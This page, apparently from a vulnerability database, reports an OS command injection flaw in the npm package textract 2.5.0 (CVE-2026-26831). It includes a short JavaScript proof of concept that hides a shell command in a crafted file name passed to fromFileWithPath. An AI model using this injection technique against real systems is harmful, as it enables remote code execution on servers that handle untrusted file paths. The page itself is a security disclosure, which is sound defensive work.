Lucene search
K

📄 textract 2.5.0 Command Injection

🗓️ 27 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 75 Views

Textract 2.5.0 suffers OS command injection via unsafe filename handling enabling remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-26831
24 Mar 202616:15
githubexploit
CNNVD
textract 安全漏洞
25 Mar 202600:00
cnnvd
CVE
CVE-2026-26831
25 Mar 202600:00
cve
Cvelist
CVE-2026-26831
25 Mar 202600:00
cvelist
EUVD
EUVD-2026-15459
25 Mar 202618:31
euvd
Github Security Blog
textract is vulnerable to OS Command Injection
25 Mar 202618:31
github
NVD
CVE-2026-26831
25 Mar 202616:16
nvd
OSV
GHSA-9PCJ-M5RR-P28G textract is vulnerable to OS Command Injection
25 Mar 202618:31
osv
Packet Storm
📄 textract 2.5.0 Command Injection
26 Mar 202600:00
packetstorm
Positive Technologies
PT-2026-27800
25 Mar 202600:00
ptsecurity
Rows per page
==================================================================================================================================
    | # Title     : textract 2.5.0 OS Command Injection via Unsafe Filename Handling Leading to RCE                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.npmjs.com/package/textract                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : In textract version 2.5.0, a security vulnerability allows OS command injection when untrusted file paths are processed by the library.
    
    [+] POC        :  exploit-basic.js
    
    const textract = require('textract');
    
    const maliciousFileName = 'test"; touch /tmp/pwned.txt; echo ".doc';
    
    console.log("[+] CVE-2026-26831 - textract OS Command Injection Exploit");
    console.log("[+] Malicious filename:", maliciousFileName);
    console.log("[+] Attempting to extract text from malicious file...");
    
    
    textract.fromFileWithPath(maliciousFileName, { preserveLineBreaks: true }, (error, text) => {
        if (error) {
            console.log("[!] Extraction failed (but command may have executed)");
            console.log("Error:", error.message);
        } else {
            console.log("[+] Extraction completed (injection might still have worked)");
            console.log("Extracted text:", text);
        }
        
        console.log("[*] Check if command executed: ls -la /tmp/pwned.txt");
    });
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Apr 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.02421
SSVC
75